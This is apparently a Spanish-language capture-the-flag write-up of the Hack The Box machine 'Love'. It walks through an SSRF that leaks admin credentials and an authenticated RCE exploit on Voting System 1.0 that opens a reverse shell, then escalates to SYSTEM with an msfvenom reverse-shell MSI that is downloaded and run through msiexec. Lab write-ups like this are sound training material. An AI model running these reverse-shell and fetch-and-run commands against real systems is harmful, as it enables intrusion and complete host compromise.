Hack The Box Easy Target IP: 10.129.48.103

Máquina Love

Resolución paso a paso de la máquina Love de Hack The Box. Identificamos un subdominio de desarrollo en los certificados SSL e identificamos un portal web con una vulnerabilidad SSRF. Mediante la inyección de peticiones internas, extraemos credenciales del administrador y ganamos acceso al panel de administración de un Voting System 1.0. Aprovechamos una vulnerabilidad RCE autenticada para obtener una shell local en Windows y finalmente escalamos privilegios a SYSTEM explotando AlwaysInstallElevated mediante un instalador MSI malicioso.

#Windows#SSRF#RCE#Metasploit#AlwaysInstallElevated#MSI-Payload#MSFvenom#SSL-Certificate

Fase 1: Reconocimiento (Escaneo de Puertos)

Comenzamos realizando un escaneo completo de los puertos y servicios expuestos de la máquina objetivo (IP del Lab: 10.129.48.103) para trazar la superficie de ataque.

Escaneo Completo de Nmap

Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad muy agresiva (-T5):

sudo nmap -sV -T5 -A -p- 10.129.48.103
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.48.103

Resultados Clave de Nmap

El escaneo revela varios puertos abiertos en un host de Windows 10:

  • Puerto 80 (HTTP): Servidor Apache que aloja una aplicación de sistema de votación (Voting System using PHP).
  • Puerto 443 (HTTPS): Retorna un error 403 Forbidden. Al examinar los detalles del certificado SSL, descubrimos el nombre del subdominio de desarrollo: staging.love.htb.
  • Puerto 445 (SMB): Microsoft-DS Windows 10 Pro.
  • Puerto 5000 (HTTP): Retorna un error 403 Forbidden.
  • Puerto 5985 (WinRM): Servicio de administración remota de Windows.
Detalles adicionales de Nmap
Enumeración de puertos altos e información del sistema operativo Windows 10

Fase 2: Descubrimiento y Explotación de SSRF

1. Configuración de Hosts locales

Agregamos el dominio principal y el subdominio descubierto a nuestro archivo /etc/hosts en Kali para poder resolver las solicitudes HTTP:

sudo nano /etc/hosts
Configuración de etc/hosts
Configuración del dominio love.htb en la máquina atacante

Visitamos el portal principal en http://love.htb y observamos un formulario de login ordinario para el sistema de votación:

Portal principal de login
Panel de votación inicial de la máquina Love

2. Enumeración Web con Gobuster

Realizamos fuerza bruta de directorios en el host principal:

gobuster dir -e -u http://love.htb -w /usr/share/wordlists/dirb/common.txt
Escaneo Gobuster
Descubrimiento de directorios comunes en el portal principal
Index of /dist
Listado de directorios activos bajo /dist

3. El Subdominio Staging (Bypass de Restricciones por SSRF)

Navegamos a la dirección del subdominio de desarrollo: http://staging.love.htb. Nos encontramos con una aplicación de escaneo de archivos maliciosos (“Free File Scanner”):

Portal Staging
Página de inicio del portal de staging

Hacemos clic en la opción “Demo” y nos redirige a una herramienta de utilidad interna en /beta.php que nos permite indicarle una URL para que el servidor la escanee:

Formulario de beta.php
Formulario de escaneo web para la prueba de concepto

Este formulario es vulnerable a Server-Side Request Forgery (SSRF). Dado que las peticiones se realizan localmente desde el propio servidor Windows, podemos usarlas para acceder al puerto restringido 5000 (el cual nos daba 403 Forbidden externamente).

Ingresamos la dirección interna http://127.0.0.1:5000 y realizamos el envío del formulario:

Explotación de SSRF
Respuesta de SSRF revelando las credenciales de administración del sistema de votación

El portal web de staging procesa la petición y nos devuelve el panel interno de contraseñas de la base de datos local, revelando las credenciales administrativas:

  • Usuario: admin
  • Contraseña: @LoveIsInTheAir!!!!

Fase 3: Intrusión y Acceso Inicial

1. Acceso al Panel de Administración

Utilizamos las credenciales obtenidas para iniciar sesión en la administración de la aplicación de votación a través de http://love.htb/admin/:

Dashboard del Voting System
Panel de control del sistema de votación tras un login administrativo exitoso

2. Explotación de RCE Autenticado

La versión de Voting System 1.0 instalada posee una vulnerabilidad de ejecución remota de código (RCE) autenticada al procesar las imágenes de perfil de los candidatos. Buscamos y descargamos un exploit en Python para automatizar el compromiso:

Exploit de Github para Voting System
Exploit de RCE en Github para Voting System 1.0

Ejecutamos el script de explotación apuntando a la IP objetivo y configurando nuestra dirección de escucha en Kali (10.10.14.219 y puerto 4444):

python exploit.py -t love.htb -i 10.10.14.219 -r 4444
Obtención de shell reversa de Windows
Conexión reversa de Windows obtenida en nuestro listener de netcat

El exploit sube una webshell de PHP maliciosa y ejecuta un comando que nos abre una consola del sistema como la usuaria local phoebe.

3. Obtención de la Flag de Usuario

Navegamos a la carpeta de perfil de Phoebe y leemos su flag:

cd C:\Users\Phoebe\Desktop
dir
type user.txt
Lectura de user.txt
Ubicación y contenido de la flag de usuario en Windows
  • Flag de Usuario (user.txt): a97605580c2554d2c54d304d786ffa9c

Fase 4: Escalada de Privilegios a SYSTEM

1. Comprobación de Directivas de Instalación Elevadas

Tratamos de acceder directamente a la carpeta del perfil de Administrator pero el sistema nos bloquea. Realizamos una enumeración del sistema buscando configuraciones inseguras y consultamos el registro de Windows buscando la política AlwaysInstallElevated:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Chequeo de AlwaysInstallElevated
Confirmación en el registro de que la directiva AlwaysInstallElevated está activa (0x1)
Políticas AppLocker
Consulta de directivas de AppLocker vigentes en PowerShell

La política de registro responde con 0x1 (activa) para HKLM (y se confirma que también está activa para HKCU). Esta configuración permite a cualquier usuario regular instalar un archivo .msi utilizando los privilegios elevados de administrador del servicio Windows Installer (NT AUTHORITY\SYSTEM).

2. Generación del Payload MSI con MSFvenom

Generamos un payload malicioso en formato instalador de Windows (.msi) con msfvenom configurando una shell reversa TCP hacia nuestra máquina atacante:

sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 -f msi -o reverse.msi
Generación de reverse.msi
Creación del payload MSI y configuración de escucha en el puerto 4444

Montamos un servidor web temporal con Python para transferir el archivo a la máquina víctima:

python3 -m http.server 8000

3. Descarga y Ejecución Elevada

Desde la terminal de la máquina víctima, descargamos el instalador usando wget y procedemos a ejecutar la instalación de manera silenciosa y no interactiva mediante msiexec:

wget 10.10.14.219:8000/reverse.msi -o reverse.msi
msiexec /quiet /i reverse.msi
Ejecución de msiexec
Descarga y ejecución de reverse.msi provocando una conexión de SYSTEM

Al ejecutarse el instalador, el servicio de Windows Installer levanta el binario y ejecuta el payload en memoria bajo la cuenta administrativa de SYSTEM, enviándonos de vuelta una consola interactiva elevada a nuestro listener de netcat.

4. Lectura de la Flag Final (root.txt)

Navegamos a la carpeta personal del Administrador del sistema Windows y leemos la bandera final de compromiso total:

cd C:\Users\Administrator\Desktop
type root.txt
Lectura de flag de root
Compromiso absoluto como SYSTEM y lectura de root.txt
  • Flag de Administrador (root.txt): 6703b98dab1a2e3862cddee6b5fc9b23

Fuentes y Referencias